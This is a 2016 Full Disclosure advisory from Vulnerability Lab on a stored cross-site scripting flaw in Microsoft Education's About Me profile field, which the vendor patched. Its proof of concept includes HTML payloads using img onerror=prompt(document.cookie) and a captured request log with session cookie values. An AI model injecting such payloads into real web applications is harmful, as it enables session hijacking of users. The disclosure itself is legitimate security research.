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[FD] Microsoft Education - Stored Cross Site Web Vulnerability
- To: fulldisclosure@xxxxxxxxxxxx
- Subject: [FD] Microsoft Education - Stored Cross Site Web Vulnerability
- From: Vulnerability Lab <research@xxxxxxxxxxxxxxxxxxxxx>
- Date: Thu, 11 Aug 2016 12:04:46 +0200
Document Title:
===============
Microsoft Education - Stored Cross Site Web Vulnerability
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1897
Release Date:
=============
2016-08-10
Vulnerability Laboratory ID (VL-ID):
====================================
1897
Common Vulnerability Scoring System:
====================================
3.6
Product & Service Introduction:
===============================
Our mission is creating immersive and inclusive experiences that inspire
lifelong learning, stimulating development of essential life skills and
supporting
educators in guiding and nurturing student passions. We empower students and
educators to create and share in entirely new ways, to teach and learn through
exploration, to adapt to individual learning needs, so they can make, design,
invent and build with technology.
(Copy of the Vendor Homepage: https://www.microsoft.com/en-us/education )
Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a stored cross site
scripting vulnerability in the official Microsoft Education online service
web-application.
Vulnerability Disclosure Timeline:
==================================
2016-05-01: Researcher Notification & Coordination (SaifAllah benMassaoud)
2016-04-03: Vendor Notification (Microsoft Security Response Center - MSRC)
2016-05-19: Vendor Fix/Patch (Microsoft Developer Team - Online Services)
2016-06-07: Security Acknowledgements (Microsoft Security Response Center -
MSRC)
2016-08-10: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
Microsoft Corporation
Product: Education - Online Service (Web-Application) 2016 Q3
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Technical Details & Description:
================================
A stored cross site scripting web vulnerability has been discovered in the
official Microsoft Education online service web-application.
The Stored cross site vulnerability allows remote attacker to inject own
malicious script codes to the application-side of the module.
The stored cross site scripting web vulnerability is located in the
`Default.aspx` file GET method request. During the exploitation the
victim education account retrieves the malicious script to the server when it
requests the stored database information. The attack vector
of the issue is application-side and the request method to inject the payload
is POST. The execution occurs in the default.aspx file
context after the review of the about me page via GET method request.
The security risk of the cross site web vulnerability is estimated as medium
with a cvss (common vulnerability scoring system) count of 3.6.
Exploitation of the input validation web vulnerability requires a low
privileged web-application user account and low or medium user interaction.
Successful exploitation of the vulnerability results in session hijacking,
persistent phishing attacks, persistent external redirects to malicious
source and persistent manipulation of affected or connected application modules.
Request Method(s):
[+] GET
Vulnerable Module(s):
[+] /Create-My-Account/
Vulnerable File(s):
[+] Default.aspx
Affected Module(s):
[+] About Me
Proof of Concept (PoC):
=======================
The stored xss vulnerability can be exploited by remote attackers with low
privileged web-application user account and low user interaction.
For security demonstration or to reproduce the vulnerability follow the
provided information and steps below to continue.
PoC: HTML
<div class="redactor-editor" contenteditable="true" dir="ltr" placeholder="We
want to know a little more about you!
Where are you from? What are you passionate about? What do you do
professionally? Why are you in the academic field?" style="min-height: 150px;">
<p><a href=""><[SCRIPT CODE PAYLOAD EXECUTE!]img src=x
onerror=prompt(document.cookie);>">"><img src=x
onerror=prompt(0);></a></p></div>
--- PoC Session Logs [GET] (Execution) ---
GET
/trans_pixel.aspx?wcs.et=2&wcs.tz=2&wcs.cot=1&wcs.route=&wcs.ctrl=&wcs.ts=1463674117956&
wcs.fpc=ID%253D291ac77c5e905943ad046577432c9425%2526CS%253D3%2526LV%253D201511%2526V%253D1&wcs.cd=0&wcs.eid=67b042c8-b3bb-71f5-d16b-
06031be4e83b&wcs.sr=1600x900&wcs.bs=1583x790&wcs.fi=1&wcs.fv=21.0&wcs.rsd=education.microsoft.com&wcs.rsus=%2FCreate-My-Account%2F
Default.aspx&wcs.rsqs=%3FReturnUrl%3D%252f%23_%3D_&wcs.rihs=1&wcs.cks=ANON%3DA%253D828C73A348BE94807F061C0EFFFFFFFF%2526E%253D125c
%2526W%253D4%3B&wcs.ti=Registration%20-%20Microsoft%20in%20Education&wcs.v=4&wcs.vct=1&wcs.vs=0&wcs.vclt=1&wcs.vfpv=
&wcs.cn=%22%3E%3Cimg%20src%3Dx%20onerror%3Dprompt(0)%3B%3E&wcs.cid=&wcs.ct=https%3A%2F%2Feducation.microsoft.com%2F
Create-My-Account%2F%2522%253E%253Cimg%2520src%3Dx%2520onerror%3Dprompt(0)%3B%253E&ms.env=prod&ms.lang=en&ms.loc%E2%80%8B=us&wcs.tr=0
HTTP/1.1
Host: c.microsoft.com:443
Accept: image/webp,image/*,*/*;q=0.8
Accept-Encoding: gzip, deflate, lzma, sdch
Accept-Language: fr-FR,fr;q=0.8,en-US;q=0.6,en;q=0.4
Cookie:
MC1=GUID=291ac77c5e905943ad046577432c9425&HASH=7cc7&LV=201511&V=4&LU=1447064400410;
A=I&I=AxUFAAAAAADdBwAAdL0pRuhHCnepjb2bIdKbSA!!&V=4;
MSFPC=ID=291ac77c5e905943ad046577432c9425&CS=3&LV=201511&V=1;
WT_NVR_RU=0=technet|msdn:1=:2=;
optimizelyEndUserId=oeu1453251327367r0.715856519760564;
omniID=1448099374032_714a_ee07_502c_bc6461068868; TocPosition=1; msdn=L=fr-fr;
display-culture=fr-FR; s_fid=650FC362C56A0DD7-35C7C31A91483CF3;
s_nr=1461196627753-New; gssLANG=fr;
optimizelySegments=%7B%22223033821%22%3A%22false%22%2C%22223040836%22%3A%22referral%22%2C%22223082014%22%3A%22
opera%22%2C%22244338170%22%3A%22none%22%2C%222130980600%22%3A%22true%22%2C%222865651701%22%3A%22true%22%2C%222895200177%22%3A%22true%22%7D;
optimizelyBuckets=%7B%225473160785%22%3A%225458101525%22%2C%225105830997%22%3A%225111680855%22%7D;
__CT_Data=gpv=1&apv_14334_www08=1; WRUID=0;
WT_FPC=id=2c9326bc7e08af4878a1447158626036:lv=1462346822657:ss=1462346792730;
_ensUUID=3dcfa3fd-018c-4cc7-81d8-d16b7b0d9da4;
MUID=25E9410C266A62EC10184956226A6124;
ANON=A=828C73A348BE94807F061C0EFFFFFFFF&E=125c&W=4;
NAP=V=1.9&E=1202&C=-31ahom088vcpOn38Zxn6dyp2-
gvEEKs4g_KEdDhIplMkM-7ap6-CA&W=4;
RioTracking.SessionASID=AxUFAAAAAADdBwAAdL0pRuhHCnepjb2bIdKbSA!!;
_ga=GA1.2.893573494.1463672842;
R=200700137-5/19/2016 17:54:27|200447916-12/22/2015 0:29:19;
RioTracking.CellCode=200700137; RioTracking.Organic=1;
OnlineTrackingV2.0=CTC=200700137; MS0=4b859c3e914742c8920a3999c22b5386
Referer:
https://education.microsoft.com/Create-My-Account/Default.aspx?ReturnUrl=%2f
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/50.0.2661.94 Safari/537.36 OPR/37.0.2178.43
-
HTTP/1.1 200 OK
Cache-Control: no-cache
Content-Length: 44
Content-Type: image/gif
Date: Thu, 19 May 2016 16:08:36 GMT
Expires: -1
P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo
CNT COM INT NAV ONL PHY PRE PUR UNI"
Pragma: no-cache
Server: Microsoft-IIS/7.5
Set-Cookie: MS0=4b859c3e914742c8920a3999c22b5386; domain=.microsoft.com;
expires=Thu, 19-May-2016 16:38:37 GMT; path=/
X-Powered-By: ASP.NET
Solution - Fix & Patch:
=======================
2016-05-19: Vendor Fix/Patch (Microsoft Developer Team - Online Services)
Security Risk:
==============
The security risk of the stored cross-site-scripting vulnerability in the
microsoft education service is estimated as medium. (CVSS 3.6)
Credits & Authors:
==================
SaifAllah benMassaoud & Zahid Mehmood - (
http://www.vulnerability-lab.com/show.php?user=SaifAllahbenMassaoud )
Disclaimer & Information:
=========================
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